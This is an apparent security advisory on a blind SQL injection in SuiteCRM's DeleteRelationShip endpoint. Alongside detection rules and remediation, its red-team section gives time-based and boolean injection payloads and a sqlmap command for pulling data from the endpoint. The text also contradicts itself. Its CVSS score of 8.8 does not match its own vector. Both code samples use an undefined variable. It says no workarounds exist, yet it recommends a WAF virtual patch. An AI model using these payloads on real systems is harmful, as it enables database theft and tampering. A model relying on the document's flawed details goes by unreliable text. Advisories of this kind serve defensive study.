CVE-2024-50332

Executive Summary

CVE-2024-50332 is a critical Blind SQL Injection vulnerability in SuiteCRM, an open-source CRM application. The flaw resides in the DeleteRelationShip function, where insufficient input validation allows an unauthenticated attacker to inject arbitrary SQL queries. Successful exploitation can lead to unauthorized data access, modification, or deletion, potentially compromising the entire CRM database. The CVSS score of 8.8 reflects the high impact on confidentiality, integrity, and availability, with a low attack complexity and no required privileges. Users are strongly advised to upgrade to versions 7.14.6 or 8.7.1, as no workarounds are available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Could lead to denial of service via SQL manipulation.

Threat Level: Critical. The combination of network exploitability, low complexity, and no privileges makes this a high-priority target for attackers.

Deep Dive & Mechanics

The vulnerability exists in the DeleteRelationShip API endpoint, which is used to remove relationships between CRM records (e.g., accounts, contacts). The function fails to properly sanitize user-supplied input before constructing SQL queries. Specifically, the $focus parameter or related identifiers are passed directly into SQL statements without parameterization or escaping.

Attack Flow:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /index.php?entryPoint=DeleteRelationShip).
2. The request includes malicious SQL payloads in parameters such as module, record, or linked_field.
3. The application concatenates these inputs into SQL queries, allowing the attacker to manipulate the query logic.
4. Using blind SQL injection techniques (e.g., time-based or boolean-based), the attacker can extract data character by character.

Example vulnerable code snippet (conceptual):

$sql = "DELETE FROM $table WHERE id = '$record_id' AND related_id = '$linked_id'";
$db->query($sql);

The fix involves using prepared statements or proper input validation to ensure that user inputs are treated as data, not executable code.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.14.6 / 8.7.1):

function delete_relationship($focus, $linked_field, $record_id) {
    $table = $this->get_relationship_table($focus, $linked_field);
    $sql = "DELETE FROM $table WHERE id = '$record_id' AND related_id = '$linked_id'";
    $this->db->query($sql);
}

Patched Code (7.14.6 / 8.7.1):

function delete_relationship($focus, $linked_field, $record_id) {
    $table = $this->get_relationship_table($focus, $linked_field);
    $sql = "DELETE FROM $table WHERE id = ? AND related_id = ?";
    $stmt = $this->db->prepare($sql);
    $stmt->bind_param("ss", $record_id, $linked_id);
    $stmt->execute();
}

The patched version uses prepared statements with bound parameters, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install SuiteCRM 7.14.5 or 8.7.0 on a local server (e.g., using Docker: docker run -d -p 80:80 suitecrm/suitecrm:7.14.5).
• Ensure the application is accessible and the DeleteRelationShip endpoint is reachable.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /index.php?entryPoint=DeleteRelationShip
2. Craft a payload to test for blind SQL injection. Example using time-based technique:

   module=Accounts&record=1' AND SLEEP(5) AND '1'='1&linked_field=contacts
   

3. If the response is delayed by 5 seconds, the injection is confirmed.
4. Extract data using boolean-based inference. For example, to check if the admin user exists:

   module=Accounts&record=1' AND (SELECT COUNT(*) FROM users WHERE user_name='admin')>0 AND '1'='1
   

5. Automate extraction with tools like sqlmap:

   sqlmap -u "http://target/index.php?entryPoint=DeleteRelationShip" --data="module=Accounts&record=1&linked_field=contacts" --batch --dbs
   

Note: No public exploit code is available for this CVE at the time of analysis.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL errors in application logs (e.g., mysqli_sql_exception).
• Look for HTTP requests to /index.php?entryPoint=DeleteRelationShip with suspicious parameters (e.g., containing SLEEP, UNION, OR 1=1).
• Use WAF rules to block common SQL injection patterns.

Hunting:

• Search for requests with long response times (time-based injection).
• Analyze database logs for unexpected queries or errors.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /index.php?entryPoint=DeleteRelationShip with parameters containing SQL keywords (SELECT, UNION, SLEEP, BENCHMARK).
  • Unusual response times (e.g., >5 seconds) for normal-looking requests.
• Host:
  • Application logs showing SQL errors like You have an error in your SQL syntax.
  • Database logs with unexpected queries or high query volumes.
• File:
  • Modified SuiteCRM core files (e.g., include/relationships/Relationship.php).

Detection Engineering

YARA Rule

rule CVE_2024_50332_SuiteCRM_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SuiteCRM DeleteRelationShip endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50332"
    strings:
        $s1 = "entryPoint=DeleteRelationShip" nocase
        $s2 = "SLEEP(" nocase
        $s3 = "BENCHMARK(" nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "OR 1=1" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-50332 SuiteCRM Blind SQL Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against SuiteCRM DeleteRelationShip endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'entryPoint=DeleteRelationShip'
        cs-uri-query|contains:
            - 'SLEEP('
            - 'BENCHMARK('
            - 'UNION SELECT'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of special characters in CRM data
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-50332 SuiteCRM Blind SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"entryPoint=DeleteRelationShip"; http_uri; pcre:"/(SLEEP\(|BENCHMARK\(|UNION SELECT|OR 1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SuiteCRM to version 7.14.6 or 8.7.1 immediately.
2. If upgrade is not possible, apply a virtual patch using a WAF to block SQL injection patterns.
3. Restrict network access to the SuiteCRM instance (e.g., VPN, IP whitelisting).

Long-term Measures:

• Implement input validation and parameterized queries in all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workarounds: None available. The only effective mitigation is upgrading.

Valters IT